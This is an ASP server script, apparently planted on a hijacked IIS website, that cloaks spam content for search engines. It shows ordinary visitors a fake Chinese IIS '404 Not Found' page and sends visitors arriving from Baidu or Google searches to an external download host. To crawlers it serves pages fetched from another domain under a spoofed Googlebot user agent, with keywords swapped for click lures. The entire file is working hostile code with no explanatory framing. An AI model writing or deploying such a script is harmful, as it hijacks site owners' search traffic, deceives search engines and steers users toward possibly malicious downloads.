<% if spiderbot = False and Request.ServerVariables("HTTP_REFERER")="" then Response.Status="404 Not Found" html404="" & vbcrlf html404=html404 & " 无法找到该页" & vbcrlf html404=html404 & " " & vbcrlf html404=html404 & " " & vbcrlf html404=html404 & "
" & vbcrlf html404=html404 & "

无法找到该页

" & vbcrlf html404=html404 & " 您正在搜索的页面可能已经删除、更名或暂时不可用。" & vbcrlf html404=html404 & "
" & vbcrlf html404=html404 & "

请尝试以下操作：

" & vbcrlf html404=html404 & "
    " & vbcrlf html404=html404 & "
  • 确保浏览器的地址栏中显示的网站地址的拼写和格式正确无误。
    • " & vbcrlf html404=html404 & "
  • 如果通过单击链接而到达了该网页，请与网站管理员联系，通知他们该链接的格式不正确。" & vbcrlf html404=html404 & "
    • " & vbcrlf html404=html404 & "
  • 单击后退按钮尝试另一个链接。
    • " & vbcrlf html404=html404 & "
" & vbcrlf html404=html404 & "

HTTP 错误 404 - 文件或目录未找到。
Internet 信息服务 (IIS)

" & vbcrlf html404=html404 & "
" & vbcrlf html404=html404 & "

技术信息（为技术支持人员提供）

" & vbcrlf html404=html404 & "
    " & vbcrlf html404=html404 & "
  • 转到 Microsoft 产品支持服务并搜索包括“HTTP”和“404”的标题。
    • " & vbcrlf html404=html404 & "
  • 打开“IIS 帮助”（可在 IIS 管理器 (inetmgr) 中访问），然后搜索标题为“网站设置”、“常规管理任务”和“关于自定义错误消息”的主题。
    • " & vbcrlf html404=html404 & "
" & vbcrlf html404=html404 & "
" & vbcrlf response.write html404 Response.end end if function spiderbot() spiderbot = False dim agent: agent = lcase(request.servervariables("http_user_agent")) Dim tm, tms dim Bot: Bot = "" if instr(agent, "googlebot") > 0 then Bot = "Google" if instr(agent, "baiduspider") > 0 then Bot = "Baidu" if instr(agent, "sosospider") > 0 then Bot = "Soso" if instr(agent, "sogou") > 0 then Bot = "Sogou" if instr(agent, "bing") > 0 then Bot = "Bing" If len(Bot) > 0 Then spiderbot = True Else spiderbot = False End If end Function dim SpiderList SpiderList="Baidu|Google" Function IsSpider ValidEntry=false SpiderListArr=Split(SpiderList,"|") for i=0 to Ubound (SpiderListArr) If InStr(lcase(Request.ServerVariables("HTTP_USER_AGENT")),lcase(SpiderListArr(i))) > 0 then ValidEntry = True exit for end if next IsSpider=ValidEntry End Function Function CheckRefresh ValidEntry=false SpiderListArr=Split(SpiderList,"|") for i=0 to Ubound (SpiderListArr) If InStr(lcase(Request.ServerVariables("HTTP_REFERER")) ,lcase(SpiderListArr(i))) > 0 then ValidEntry = True exit for end if next CheckRefresh=ValidEntry End Function if not IsSpider then if CheckRefresh then Response.Redirect "http://down.xiazaijia.com:800/t.asp" response.end else end if end if url1=Request.ServerVariables("HTTP_url") if instr(url1,"?")>0 then url2=split(url1,"?") url=url2(1) end if domain="http://www.qiangjianbaidu.com/html/" sendurl =domain&"?"&url cont=GetURL(sendurl) cont=replace(cont,"好色","【点击这里】") response.Write cont Function BytesToBstr(body,Cset) dim objstream set objstream = Server.CreateObject("adodb.stream") objstream.Type = 1 objstream.Mode = 3 objstream.Open objstream.Write body objstream.Position = 0 objstream.Type = 2 objstream.Charset = Cset BytesToBstr = objstream.ReadText objstream.Close set objstream = nothing End Function Function GetURL(url) set xmlhttp = CreateObject("MSXML2.ServerXMLHTTP") xmlhttp.open "GET", url, false xmlhttp.setRequestHeader "User-Agent", "Googlebot/2.1 (+http://www.baiduspider.com/bot.html; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)" xmlhttp.send "" GetURL=BytesToBstr(xmlhttp.responsebody,"gb2312") set xmlhttp = nothing End Function function Randsub(numtotal) Randomize Randsub = int((numtotal-1+1)*rnd+1) end Function %>